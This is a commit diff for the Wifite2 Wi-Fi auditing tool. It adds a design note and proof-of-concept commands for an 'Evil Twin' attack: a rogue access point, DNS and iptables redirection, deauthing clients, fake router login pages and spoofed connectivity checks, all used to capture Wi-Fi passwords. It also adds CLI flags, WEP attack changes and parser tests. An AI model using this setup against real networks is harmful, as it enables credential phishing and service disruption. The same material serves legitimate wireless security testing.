2.1.6: Support non-ASCII ESSIDs in scanner. Don't silently exit on crash.

Resolves #88
Resolves #92
Might be related to #85

EVILTWIN.md

@@ -0,0 +1,386 @@
+An idea from Sandman: Include "Evil Twin" attack in Wifite.
+
+This page tracks the requirements for such a feature.
+
+Evil Twin
+=========
+
+[Fluxion](https://github.com/FluxionNetwork/fluxion) is a popular example of this attack.
+
+The attack requires multiple wireless cards:
+
+1. Hosts the twin.
+2. Deauthenticates clients.
+
+As clients connect to the Evil Twin, they are redirected to a fake router login page.
+
+Clients enter the password to the target AP. The Evil Twin then:
+
+1. Captures the Wifi password,
+2. Verifies Wifi password against the target AP,
+3. If valid, all clients are deauthed from Evil Twin so they re-join the target AP.
+4. Otherwise, tell the user the password is invalid and to "try again". GOTO step #1.
+
+Below are all of the requirements/components that Wifite would need for this feature.
+
+
+DHCP
+====
+We need to auto-assign IP addresses to clients as they connect (via DHCP?).
+
+
+DNS Redirects
+=============
+All DNS requests need to redirect to the webserver:
+
+1. So we clients are encouraged to login.
+2. So we can intercept health-checks by Apple/Google
+
+
+Rogue AP, Server IP Address, etc
+================================
+Probably a few ways to do this in Linux; should use the most reliable & supported method.
+
+Mainly we need to:
+
+1. Spin up the Webserver on some port (8000)
+2. Start the Rogue AP
+3. Assign localhost on port 8000 to some subnet IP (192.168.1.254)
+4. Start DNS-redirecting all hostnames to 192.168.1.254.
+5. Start DHCP to auto-assign IPs to incoming clients.
+6. Start deauthing clients of the real AP.
+
+I think steps 3-5 can be applied to a specific wireless card (interface).
+
+* TODO: More details on how to start the fake AP, assign IPs, DHCP, DNS, etc.
+   * Fluxion using `hostapd`: [code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/hostapd.sh#L59-L64)
+   * Kali "Evil Wireless AP" (uses `hostapd`): [article](https://www.offensive-security.com/kali-linux/kali-linux-evil-wireless-access-point/)
+   * Fluxion using `airbase-ng`: [code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/airbase-ng.sh#L76-L77)
+* TODO: Should the Evil Twin spoof the real AP's hardware MAC address?
+   * Yes, looks like that's what Fluxion does ([code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/hostapd.sh#L66-L74)).
+
+
+ROGUE AP
+========
+Gleaned this info from:
+
+* ["Setting up wireless access point in Kali"](https://www.psattack.com/articles/20160410/setting-up-a-wireless-access-point-in-kali/) by PSAttack
+* ["Kali Linux Evil Wireless Access Point"](https://www.offensive-security.com/kali-linux/kali-linux-evil-wireless-access-point/) by OffensiveSecurity
+* ["SniffAir" hostapd script](https://github.com/Tylous/SniffAir/blob/master/module/hostapd.py)
+
+
+HOSTAPD
+-------
+* Starts access point.
+* Not included in Kali by-default.
+* Installable via `apt-get install hostapd`.
+* [Docs](https://wireless.wiki.kernel.org/en/users/documentation/hostapd)
+
+Config file format (e.g. `~/hostapd.conf`):
+
+```
+driver=nl80211   # 'nl80211' appears in all hostapd tutorials I've found.
+ssid=$EVIL_SSID  # SSID/name of Evil Twin (should match target's)
+hw_mode=$BAND    # Wifi Band, e.g. "g" or "g+n"
+channel=$CHANNEL # Numeric, e.g. "6'
+```
+
+Run:
+
+```
+hostapd ~/hostapd.conf -i wlan0
+```
+
+
+DNSMASQ
+-------
+
+* Included in Kali.
+* Installable via `apt-get install dnsmasq`
+* Handles DNS and DHCP.
+* [Install & Overview](http://www.thekelleys.org.uk/dnsmasq/doc.html), [Manpage](http://www.thekelleys.org.uk/dnsmasq/docs/dnsmasq-man.html)
+
+Config file format (e.g. `~/dnsmasq.conf`):
+
+```
+interface=wlan0
+dhcp-range=10.0.0.10,10.0.0.250,12h
+dhcp-option=3,10.0.0.1
+dhcp-option=6,10.0.0.1
+#no-resolv
+server=8.8.8.8
+log-queries
+log-dhcp
+
+# Redirect all requests (# is wildcard) to IP of evil web server:
+# TODO: We should rely on iptables, right? Otherwise this redirects traffic from all ports...
+#address=/#/192.168.1.254
+```
+
+"DNS Entries" file format (`~/dns_entries`):
+
+```
+[DNS Name] [IP Address]
+# TODO: Are wildcards are supported?
+* 192.168.1.254 # IP of web server
+```
+
+Run:
+
+```
+dnsmasq -C ~/dnsmasq.conf -H ~/dns_entries
+```
+
+IPTABLES
+--------
+From [this thread on raspberrypi.org](https://www.raspberrypi.org/forums/viewtopic.php?p=288263&sid=b6dd830c0c241a15ac0fe6930a4726c9#p288263)
+
+> *Use iptables to redirect all traffic directed at port 80 to the http server on the Pi*
+> `sudo iptables -t nat -A PREROUTING -d 0/0 -p tcp –dport 80 -j DNAT –to 192.168.1.254:80`
+
+And from Andreas Wiese on [UnixExchange](https://unix.stackexchange.com/a/125300)
+
+> *You could get this with a small set of iptables rules redirecting all traffic to port 80 and 443 your AP's address:*
+> `# iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination localhost:80`
+> `# iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination localhost:80`
+
+TODO:
+
+* What about HTTPS traffic (port 443)?
+   * We want to avoid browser warnings (scary in Chrome & Firefox).
+   * Don't think we can send a 302 redirect to port 80 without triggering the invalid certificate issue.
+   * sslstrip may get around this...
+
+
+DEAUTHING
+=========
+While hosting the Evil Twin + Web Server, we need to deauthenticate clients from the target AP so they join the Evil Twin.
+
+Listening
+---------
+We need to listen for more clients and automatically start deauthing new clients as they appear.
+
+This might be supported by existing tools...
+
+MDK
+---
+Deauthing & DoS is easy to do using [MDK](https://tools.kali.org/wireless-attacks/mdk3) or `aireplay-ng`.
+
+I think MDK is a better tool for this job, but Wifite already requires the `aircrack` suite, so we should support both.
+
+TODO: Require MDK if it is miles-ahead of `aireplay-ng`
+TODO: Figure out MDK commands for persistent deauths; if we can provide a list of client MAC addresses & BSSIDs.
+
+
+Website
+=======
+
+Router Login Pages
+------------------
+These are different for every vendor.
+
+Fluxion has a repo with fake login pages for a lot of popular router vendors ([FluxionNetwork/sites](https://github.com/FluxionNetwork/sites)). That repo includes sites in various languages.
+
+We need just the base router page HTML (Title/logo) and CSS (colors/font) for popular vendors.
+
+We also need a "generic" login page in case we don't have the page for a vendor.
+
+1. Web server to host HTML, images, fonts, and CSS that the vendor uses.
+3. Javascript to send the password to the webserver
+
+
+Language Support
+----------------
+Note: Users should choose the language to host; they know better than any script detection.
+
+Each router page will have a warning message telling the client they need to enter the Wifi password:
+   * "Password is required after a router firmware update"
+
+The Login page content (HTML/images/css) could be reduced to just the logo and warning message. No navbars/sidebars/links to anything else.
+
+Then only the warning message needs to be templatized by-language (we only need one sentence per language).
+
+That would avoid the need for separate "sites" for each Vendor *and* language.
+
+But we probably need other labels to be translated as well:
+
+* Title of page ("Router Login Page")
+* "Password:"
+* "Re-enter Password:"
+* "Reconnect" or "Login"
+
+...So 5 sentences per language. Not bad.
+
+The web server could send a Javascript file containing the language variable values:
+
+```javascript
+document.title = 'Router Login';
+document.querySelector('#warn').textContent('You need to login after router firmware upgrade.');
+document.querySelector('#pass').textContent('Password:');
+// ...
+```
+
+
+One HTML File
+-------------
+We can compact everything into a single HTML file:
+
+1. Inline CSS
+2. Inline images (base64 image/jpg)
+3. Some placeholders for the warning message, password label, login button.
+
+This would avoid the "lots of folders" problem; one folder for all .html files.
+
+E.g. `ASUS.html` can be chosen when the target MAC vendor contains `ASUS`.
+
+
+AJAX Password Submission
+------------------------
+The website needs to send the password to the webserver, likely through some endpoint (e.g. `./login.cgi?password1=...&password2=...`).
+
+Easy to do in Javascript (via a simple `<form>` or even `XMLHttpRequest`).
+
+
+Webserver
+=========
+The websites served by the webserver is dynamic and depends on numerous variables.
+
+We want to utilize the CGIHTTPServer in Python which would make some the logic easier to track.
+
+
+Spoofing Health Checks
+----------------------
+Some devices (Android, iOS, Windows?) verify the AP has an internet connection by requesting some externally-hosted webpage.
+
+We want to spoof those webpages *exactly* so the client's device shows the Evil Twin as "online".
+
+Fluxion does this [here](https://github.com/FluxionNetwork/fluxion/tree/master/attacks/Captive%20Portal/lib/connectivity%20responses) (called *"Connectivity Responses"*).
+
+Specifically [in the `lighttpd.conf` here](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/attacks/Captive%20Portal/attack.sh#L687-L698).
+
+Requirements:
+
+* Webserver detects requests to these health-check pages and returns the expected response (HTML, 204, etc).
+
+TODO: Go through Fluxion to know hostnames/paths and expected responses for Apple & Google devices.
+
+
+HTTPS
+-----
+What if Google, Apple requires HTTPS? Can we spoof the certs somehow? Or redirect to HTTP?
+
+
+Spoofing Router Login Pages
+---------------------------
+We can detect the router vendor based on the MAC address.
+
+If we have a fake login page for that vendor, we serve that.
+
+Otherwise we serve a generic login page.
+
+TODO: Can we use macchanger to detect vendor, or have some mapping of `BSSID_REGEX -> HTML_FILE`?
+
+
+Password Capture
+----------------
+Webserver needs to know when a client enters a password.
+
+This can be accomplished via a simple CGI endpoint or Python script.
+
+E.g. `login.cgi` which reads `password1` and `password2` from the query string.
+
+
+Password Validation
+-------------------
+The Webserver needs to know when the password is valid.
+
+This requires connecting to the target AP on an unused wireless card:
+
+1. First card is hosting the webserver. It would be awkward if that went down.
+2. Second card is Deauthing clients. This could be 'paused' while validating the password, but that may allow clients to connect to the target AP.
+3. ...A third wifi card may make this cleaner.
+
+TODO: The exact commands to verify Wifi passwords in Linux; I'm guessing we have to use `wpa_supplicant` and the like.
+TODO: Choose the fastest & most-relaiable method for verifying wifi paswords
+
+
+Evil Webserver & Deauth Communication
+-------------------------------------
+The access point hosting the Evil Twin needs to communicate with the Deauth mechanism:
+
+1. Which BSSIDs to point to the Evil Twin,
+2. Which BSSIDs to point to the real AP.
+
+Since the webserver needs to run for the full length of th attack, we could control the state of the attack inside the webserver.
+
+So the webserver would need to maintain:
+
+1. List of BSSIDs to deauth from real AP (so they join Evil Twin),
+2. List of BSSIDs to deauth from Evil Twin (so they join real AP),
+3. Background process which is deauthing the above BSSIDs on a separate wireless card.
+
+I am not sure how feasible this is in Python; we could also resort to using static files to store the stage (e.g. JSON file with BSSIDs and current step -- e.g. "Shutting down" or "Waiing for password").
+
+TODO: See if the CGIHTTPServer has some way we can maintain/alter background threads.
+TODO: See how hard it would be to maintain state in the CGIHTTPServer (do we have to use the filesystem?)
+
+
+Success & Cleanup
+-----------------
+When the password is found, we want to send a "success" message to the AJAX request, so the user gets instant feedback (and maybe a "Reconnecting..." message).
+
+During shutdown, we need to deauth all clients from the Evil Twin so they re-join the real AP.
+
+This deauthing should continue until all clients are deauthenticated from the Evil Twin.
+
+Then the script can be stopped.
+
+
+Proof of Concept
+================
+
+Start AP and capture all port-80 traffic:
+
+```
+ifconfig wlan0 10.0.0.1/24 up
+
+# start dnsmasq for dhcp & dns resolution (runs in background)
+killall dnsmasq
+dnsmasq -C dnsmasq.conf
+
+# reroute all port-80 traffic to our machine
+iptables -N internet -t mangle
+iptables -t mangle -A PREROUTING -j internet
+iptables -t mangle -A internet -j MARK --set-mark 99
+iptables -t nat -A PREROUTING -m mark --mark 99 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1
+echo "1" > /proc/sys/net/ipv4/ip_forward
+iptables -A FORWARD -i eth0 -o wlan0 -m state --state ESTABLISHED,RELATED -j ACCEPT
+iptables -A FORWARD -m mark --mark 99 -j REJECT
+iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
+iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
+
+# start wifi access point (new terminal)
+killall hostapd
+hostapd ./hostapd.conf -i wlan0
+
+# start webserver on port 80 (new terminal)
+python -m SimpleHTTPServer 80
+```
+
+Cleanup:
+
+```
+# stop processes
+# ctrl+c hostapd
+# ctrl+c python simple http server
+killall dnsmasq
+
+# reset iptables
+iptables -F
+iptables -X
+iptables -t nat -F
+iptables -t nat -X
+iptables -t mangle -F
+iptables -t mangle -X
+```
+

TODO.md

@@ -4,6 +4,29 @@ This file is a braindump of ideas to improve Wifite2 (or forward-looking to "Wif
 
 ------------------------------------------------------
 
+### Better Dependency Handling
+I can rely on `pip` + `requirements.txt` for python libraries, but most of wifite's dependencies are installed programs.
+
+When a dependency is not found, Wifite should walk the user through installing all required dependencies, and maybe the optional dependencies as well.
+
+The dependency-installation walkthrough should provide or auto-execute the install commands (`git clone`, `wget | tar && ./config`, etc).
+
+Since we have a Python script for every dependency (under `wifite/tools/` or `wifite/util/`), we use Python's multiple-inheritance to achive this.
+
+Requirements:
+
+1. A base *Dependency* class
+   * `@abstractmethods` for `exists()`, `name()`, `install()`, `print_install()`
+2. Update all dependencies to inherit *Dependency*
+   * Override abstract methods
+3. Dependency-checker to run at Wifite startup.
+   * Check if all required dependencies exists.
+   * If required deps are missing, Prompt to install all (optional+required) or just required, or to continue w/o install with warning.
+   * If optional deps are missing, suggest `--install` without prompting.
+   * Otherwise continue silently.
+
+------------------------------------------------------
+
 ### Support Other Distributions (not just Kali x86/64)
 
 Off the top of my head:

tests/files/airodump-weird-ssids.csv

@@ -0,0 +1,13 @@
+
+BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key
+AA:BB:CC:DD:EE:FF, 2018-04-06 18:21:23, 2018-04-06 18:21:24, 10,  54, WPA2, CCMP,PSK, -34,        5,        0,   0.  0.  0.  0,  24, Comma\, no trailing space, 
+AA:BB:CC:DD:EE:FF, 2018-04-06 18:19:17, 2018-04-06 18:19:19, 10,  54, WPA2, CCMP,PSK, -35,       18,        0,   0.  0.  0.  0,  20, \"Quoted ESSID\, Comma\, no trailing spaces.   \", 
+AA:BB:CC:DD:EE:FF, 2018-04-06 18:35:29, 2018-04-06 18:35:30, 10,  54, WPA2, CCMP,PSK, -31,       12,        0,   0.  0.  0.  0,  22, "Comma\, Trailing space ", 
+AA:BB:CC:DD:EE:FF, 2018-04-06 18:22:45, 2018-04-06 18:22:46, 10,  54, WPA2, CCMP,PSK, -29,       15,        0,   0.  0.  0.  0,  30, "\"quote\" comma\, trailing space ", 
+AA:BB:CC:DD:EE:FF, 2018-04-06 18:50:11, 2018-04-06 18:50:17, 10,  54, WPA2, CCMP,PSK, -20,       43,        0,   0.  0.  0.  0,  19, \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00, 
+
+
+
+
+Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs
+

tests/test_Airmon.py

@@ -0,0 +1,24 @@
+#!/usr/bin/python2.7
+# -*- coding: utf-8 -*-
+
+import sys
+sys.path.insert(0, '..')
+
+from wifite.tools.airmon import Airmon
+
+import unittest
+
+class TestAirmon(unittest.TestCase):
+    def test_airmon_start(self):
+        # From https://github.com/derv82/wifite2/issues/67
+        stdout = '''
+PHY    Interface    Driver        Chipset
+
+phy0    wlan0        iwlwifi        Intel Corporation Centrino Ultimate-N 6300 (rev 3e)
+
+        (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
+        (mac80211 station mode vif disabled for [phy0]wlan0)
+'''
+        mon_iface = Airmon._parse_airmon_start(stdout)
+        assert mon_iface == 'wlan0mon', 'Expected monitor-mode interface to be "wlan0mon" but got "{}"'.format(mon_iface)
+

tests/test_Airodump.py

@@ -0,0 +1,52 @@
+#!/usr/bin/python2.7
+# -*- coding: utf-8 -*-
+
+import sys
+sys.path.insert(0, '..')
+
+from wifite.tools.airodump import Airodump
+
+import unittest
+
+class TestAirodump(unittest.TestCase):
+    ''' Test suite for Wifite's interaction with the Airodump tool '''
+
+
+    def test_airodump_weird_characters(self):
+        csv_filename = self.getFile('airodump-weird-ssids.csv')
+        targets = Airodump.get_targets_from_csv(csv_filename)
+
+        target = targets[0]
+        expected = 'Comma, no trailing space'
+        assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)
+
+        target = targets[1]
+        expected = '"Quoted ESSID, Comma, no trailing spaces.   "'
+        assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)
+
+        target = targets[2]
+        expected = 'Comma, Trailing space '
+        assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)
+
+        target = targets[3]
+        expected = '"quote" comma, trailing space '
+        assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)
+
+        # Hidden access point
+        target = targets[4]
+        assert target.essid_known == False, 'ESSID full of null characters should not be known'
+        expected = None
+        assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)
+        assert target.essid_len == 19, 'ESSID length shold be 19, but got %s' % target.essid_len
+
+
+    def getFile(self, filename):
+        ''' Helper method to parse targets from filename '''
+        import os, inspect
+        this_file = os.path.abspath(inspect.getsourcefile(self.getFile))
+        this_dir = os.path.dirname(this_file)
+        return os.path.join(this_dir, 'files', filename)
+
+
+if __name__ == '__main__':
+    unittest.main()

wifite/args.py

@@ -37,6 +37,9 @@ class Arguments(object):
         wps_group = parser.add_argument_group('WPS')
         self._add_wps_args(wps_group)
 
+        eviltwin_group = parser.add_argument_group('EVIL TWIN')
+        self._add_eviltwin_args(eviltwin_group)
+
         commands_group = parser.add_argument_group('COMMANDS')
         self._add_command_args(commands_group)
 
@@ -49,14 +52,14 @@ class Arguments(object):
             action='count',
             default=0,
             dest='verbose',
-            help=Color.s('Shows more options ({C}-h -v{W}). Prints tool outputs. (default: {G}quiet{W})'))
+            help=Color.s('Shows more options ({C}-h -v{W}). Prints commands and outputs. (default: {G}quiet{W})'))
 
         glob.add_argument('-i',
             action='store',
             dest='interface',
             metavar='[interface]',
             type=str,
-            help=Color.s('Wireless interface to use (default: {G}ask{W})'))
+            help=Color.s('Wireless interface to use (default: {G}choose first or ask{W})'))
 
         glob.add_argument('-c',
             action='store',
@@ -67,7 +70,7 @@ class Arguments(object):
         glob.add_argument('--channel', help=argparse.SUPPRESS, action='store', dest='channel', type=int)
 
         glob.add_argument('-mac',
-            '---random-mac',
+            '--random-mac',
             action='store_true',
             dest='random_mac',
             help=Color.s('Randomize wireless card MAC address (default: {G}off{W})'))
@@ -118,6 +121,11 @@ class Arguments(object):
             help=self._verbose('Hides targets with ESSIDs that match the given text'))
         glob.add_argument('--ignore-essid', help=argparse.SUPPRESS, action='store', dest='ignore_essid', type=str)
 
+        glob.add_argument('--clients-only', '-co',
+            action='store_true',
+            dest='clients_only',
+            help=Color.s('Only show targets that have associated clients (default: {G}off{W})'))
+
         glob.add_argument('--showb',
             action='store_true',
             dest='show_bssids',
@@ -139,6 +147,15 @@ class Arguments(object):
             help=self._verbose('Number of deauth packets to send (default: {G}%d{W})' % self.config.num_deauths))
 
 
+    def _add_eviltwin_args(self, group):
+        group.add_argument('-ev',
+            '--eviltwin',
+            action='store_true',
+            dest='use_eviltwin',
+            help=Color.s('Use the "Evil Twin" attack against all targets (default: {G}off{W})'))
+        # TODO: Args to specify deauth interface, server port, etc.
+
+
     def _add_wep_args(self, wep):
         # WEP
         wep.add_argument('--wep',
@@ -154,6 +171,12 @@ class Arguments(object):
         wep.add_argument('--nofakeauth', help=argparse.SUPPRESS, action='store_true', dest='require_fakeauth')
         wep.add_argument('-nofakeauth', help=argparse.SUPPRESS, action='store_true', dest='require_fakeauth')
 
+        wep.add_argument('--keep-ivs',
+            action='store_true',
+            dest='wep_keep_ivs',
+            default=False,
+            help=Color.s('Retain .IVS files and reuse when cracking (default: {G}off{W})'))
+
         wep.add_argument('--pps',
             action='store',
             dest='wep_pps',
@@ -292,56 +315,55 @@ class Arguments(object):
             dest='wps_filter',
             help=Color.s('Filter to display only WPS-enabled networks'))
         wps.add_argument('-wps', help=argparse.SUPPRESS, action='store_true', dest='wps_filter')
+
         wps.add_argument('--bully',
             action='store_true',
             dest='use_bully',
             help=Color.s('Use {C}bully{W} instead of {C}reaver{W} for WPS attacks (default: {G}reaver{W})'))
+        # Alias
+        wps.add_argument('-bully', help=argparse.SUPPRESS, action='store_true', dest='use_bully')
+
         wps.add_argument('--no-wps',
             action='store_true',
             dest='no_wps',
             help=Color.s('{O}NEVER{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})'))
+
         wps.add_argument('--wps-only',
             action='store_true',
             dest='wps_only',
             help=Color.s('{G}ALWAYS{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})'))
+        # Alias
+        wps.add_argument('--pixie', help=argparse.SUPPRESS, action='store_true', dest='wps_only')
 
-        # Same as --wps-only
+        # Time limit on entire attack.
-        wps.add_argument('--pixie',
+        wps.add_argument('--wps-time',
-            help=argparse.SUPPRESS,
-            action='store_true',
-            dest='wps_only')
-
-        wps.add_argument('--pixiet',
             action='store',
             dest='wps_pixie_timeout',
-            metavar='[seconds]',
+            metavar='[sec]',
             type=int,
-            help=self._verbose('Time to wait before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_timeout))
+            help=self._verbose('Total time to wait before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_timeout))
-        wps.add_argument('--pixiest',
+        # Alias
-            action='store',
+        wps.add_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wps_pixie_timeout', type=int)
-            dest='wps_pixie_step_timeout',
+
-            metavar='[seconds]',
+        # Maximum number of "failures" (WPSFail)
-            type=int,
+        wps.add_argument('--wps-fails',
-            help=self._verbose('Time to wait for a step to progress before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_step_timeout))
-        wps.add_argument('--wpsmf',
             action='store',
             dest='wps_fail_threshold',
-            metavar='[fails]',
+            metavar='[num]',
             type=int,
-            help=self._verbose('Maximum number of WPS Failures before failing attack (default: {G}%d{W})' % self.config.wps_fail_threshold))
+            help=self._verbose('Maximum number of WPSFail/NoAssoc errors before failing (default: {G}%d{W})' % self.config.wps_fail_threshold))
-        wps.add_argument('-wpsmf', help=argparse.SUPPRESS, action='store', dest='wps_fail_threshold', type=int)
+        # Alias
-        wps.add_argument('--wpsmt',
+        wps.add_argument('-wpsf', help=argparse.SUPPRESS, action='store', dest='wps_fail_threshold', type=int)
+
+        # Maximum number of "timeouts"
+        wps.add_argument('--wps-timeouts',
             action='store',
             dest='wps_timeout_threshold',
-            metavar='[timeouts]',
+            metavar='[num]',
             type=int,
-            help=self._verbose('Maximum number of Timeouts before stopping (default: {G}%d{W})' % self.config.wps_timeout_threshold))
+            help=self._verbose('Maximum number of Timeouts before failing (default: {G}%d{W})' % self.config.wps_timeout_threshold))
-        wps.add_argument('-wpsmt', help=argparse.SUPPRESS, action='store', dest='wps_timeout_threshold', type=int)
+        # Alias
-        wps.add_argument('--ignore-ratelimit',
+        wps.add_argument('-wpsto', help=argparse.SUPPRESS, action='store', dest='wps_timeout_threshold', type=int)
-            action='store_false',
-            dest='wps_skip_rate_limit',
-            help=Color.s('Ignores attack if WPS is rate-limited (default: {G}on{W})'))
-        wps.add_argument('-ignore-ratelimit', help=argparse.SUPPRESS, action='store_false', dest='wps_skip_rate_limit')
 
 
     def _add_command_args(self, commands):

wifite/attack/wep.py

@@ -5,8 +5,8 @@ from ..model.attack import Attack
 from ..tools.airodump import Airodump
 from ..tools.aireplay import Aireplay, WEPAttackType
 from ..tools.aircrack import Aircrack
+from ..tools.ifconfig import Ifconfig
 from ..config import Configuration
-from ..model.interface import Interface
 from ..util.color import Color
 from ..util.input import raw_input
 from ..model.wep_result import CrackResultWEP
@@ -37,6 +37,15 @@ class AttackWEP(Attack):
         replay_file = None
         airodump_target = None
 
+        previous_ivs = 0
+        current_ivs = 0
+        total_ivs = 0
+        keep_ivs = Configuration.wep_keep_ivs
+
+        # Clean up previous WEP sessions
+        if keep_ivs:
+            Airodump.delete_airodump_temp_files('wep')
+
         attacks_remaining = list(Configuration.wep_attacks)
         while len(attacks_remaining) > 0:
             attack_name = attacks_remaining.pop(0)
@@ -47,7 +56,8 @@ class AttackWEP(Attack):
                               target_bssid=self.target.bssid,
                               ivs_only=True, # Only capture IVs packets
                               skip_wps=True, # Don't check for WPS-compatibility
-                              output_file_prefix='wep') as airodump:
+                              output_file_prefix='wep',
+                              delete_existing_files=not keep_ivs) as airodump:
 
                     Color.clear_line()
                     Color.p('\r{+} {O}waiting{W} for target to appear...')
@@ -57,7 +67,7 @@ class AttackWEP(Attack):
                     if self.fake_auth():
                         # We successfully authenticated!
                         # Use our interface's MAC address for the attacks.
-                        client_mac = Interface.get_mac()
+                        client_mac = Ifconfig.get_mac(Configuration.interface)
                         # Keep us authenticated
                         fakeauth_proc = Aireplay(self.target, "fakeauth")
                     elif len(airodump_target.clients) == 0:
@@ -77,10 +87,11 @@ class AttackWEP(Attack):
                     # Start Aireplay process.
                     aireplay = Aireplay(self.target,
                                         wep_attack_type,
-                                        client_mac=client_mac)
+                                        client_mac=client_mac,
+                                        replay_file=replay_file)
 
                     time_unchanged_ivs = time.time() # Timestamp when IVs last changed
-                    previous_ivs = 0
+                    last_ivs_count = 0
 
                     # Loop until attack completes.
 
@@ -90,7 +101,14 @@ class AttackWEP(Attack):
                         if client_mac is None and len(airodump_target.clients) > 0:
                             client_mac = airodump_target.clients[0].station
 
-                        status = "%d/{C}%d{W} IVs" % (airodump_target.ivs, Configuration.wep_crack_at_ivs)
+                        if keep_ivs and current_ivs > airodump_target.ivs:
+                            # We now have less IVS than before; A new attack must have started.
+                            # Track how many we have in-total.
+                            previous_ivs += total_ivs
+                        current_ivs = airodump_target.ivs
+                        total_ivs = previous_ivs + current_ivs
+
+                        status = "%d/{C}%d{W} IVs" % (total_ivs, Configuration.wep_crack_at_ivs)
                         if fakeauth_proc:
                             if fakeauth_proc and fakeauth_proc.status:
                                 status += ", {G}fakeauth{W}"
@@ -115,6 +133,9 @@ class AttackWEP(Attack):
                             self.crack_result = CrackResultWEP(self.target.bssid,
                                     self.target.essid, hex_key, ascii_key)
                             self.crack_result.dump()
+
+                            Airodump.delete_airodump_temp_files('wep')
+
                             self.success = True
                             return self.success
 
@@ -123,27 +144,27 @@ class AttackWEP(Attack):
                             Color.p("and {C}cracking{W}")
 
                         # Check number of IVs, crack if necessary
-                        if airodump_target.ivs > Configuration.wep_crack_at_ivs:
+                        if total_ivs > Configuration.wep_crack_at_ivs:
-                            if not aircrack:
+                            if not aircrack or not aircrack.is_running():
                                 # Aircrack hasn't started yet. Start it.
-                                ivs_file = airodump.find_files(endswith='.ivs')[0]
+                                ivs_files = airodump.find_files(endswith='.ivs')
-                                aircrack = Aircrack(ivs_file)
+                                ivs_files.sort()
-
+                                if len(ivs_files) > 0:
-                            elif not aircrack.is_running():
+                                    if not keep_ivs:
-                                # Aircrack stopped running.
+                                        ivs_files = ivs_files[-1]  # Use most-recent .ivs file
-                                Color.pl('\n{!} {O}aircrack stopped running!{W}')
+                                    aircrack = Aircrack(ivs_files)
-                                ivs_file = airodump.find_files(endswith='.ivs')[0]
-                                Color.pl('{+} {C}aircrack{W} stopped, restarting...')
-                                self.fake_auth()
-                                aircrack = Aircrack(ivs_file)
 
                             elif Configuration.wep_restart_aircrack > 0 and \
                                     aircrack.pid.running_time() > Configuration.wep_restart_aircrack:
                                 # Restart aircrack after X seconds
+                                #Color.pl('\n{+} {C}aircrack{W} ran for more than {C}%d{W} seconds, restarting' % Configuration.wep_restart_aircrack)
                                 aircrack.stop()
-                                ivs_file = airodump.find_files(endswith='.ivs')[0]
+                                ivs_files = airodump.find_files(endswith='.ivs')
-                                Color.pl('\n{+} {C}aircrack{W} ran for more than {C}%d{W} seconds, restarting' % Configuration.wep_restart_aircrack)
+                                ivs_files.sort()
-                                aircrack = Aircrack(ivs_file)
+                                if len(ivs_files) > 0:
+                                    if not keep_ivs:
+                                        ivs_files = ivs_files[-1]  # Use most-recent .ivs file
+                                    aircrack = Aircrack(ivs_files)
 
 
                         if not aireplay.is_running():
@@ -178,6 +199,7 @@ class AttackWEP(Attack):
                                                         'forgedreplay',
                                                         client_mac=client_mac,
                                                         replay_file=replay_file)
+                                    time_unchanged_ivs = time.time()  # Reset unchanged IVs time (it may have taken a while to forge the packet)
                                     continue
                                 else:
                                     # Failed to forge packet. drop out
@@ -189,7 +211,7 @@ class AttackWEP(Attack):
                                 break # Continue to other attacks
 
                         # Check if IVs stopped flowing (same for > N seconds)
-                        if airodump_target.ivs > previous_ivs:
+                        if airodump_target.ivs > last_ivs_count:
                             time_unchanged_ivs = time.time()
                         elif Configuration.wep_restart_stale_ivs > 0 and \
                              attack_name != 'chopchop' and \
@@ -206,7 +228,7 @@ class AttackWEP(Attack):
                                                     client_mac=client_mac, \
                                                     replay_file=replay_file)
                                 time_unchanged_ivs = time.time()
-                        previous_ivs = airodump_target.ivs
+                        last_ivs_count = airodump_target.ivs
 
                         time.sleep(1)
                         continue
@@ -215,11 +237,19 @@ class AttackWEP(Attack):
             except KeyboardInterrupt:
                 if fakeauth_proc: fakeauth_proc.stop()
                 if len(attacks_remaining) == 0:
+                    if keep_ivs:
+                        Airodump.delete_airodump_temp_files('wep')
+
                     self.success = False
                     return self.success
+
                 if self.user_wants_to_stop(attack_name, attacks_remaining, airodump_target):
+                    if keep_ivs:
+                        Airodump.delete_airodump_temp_files('wep')
+
                     self.success = False
                     return self.success
+
             except Exception as e:
                 Color.pl("\n{!} {R}Error: {O}%s" % str(e))
                 if Configuration.verbose > 0 or Configuration.print_stack_traces:
@@ -235,6 +265,9 @@ class AttackWEP(Attack):
             # End of big try-catch
         # End of for-each-attack-type loop
 
+        if keep_ivs:
+            Airodump.delete_airodump_temp_files('wep')
+
         self.success = False
         return self.success
 
@@ -275,15 +308,24 @@ class AttackWEP(Attack):
             # Deauth clients & retry
             deauth_count = 1
             Color.clear_entire_line()
+
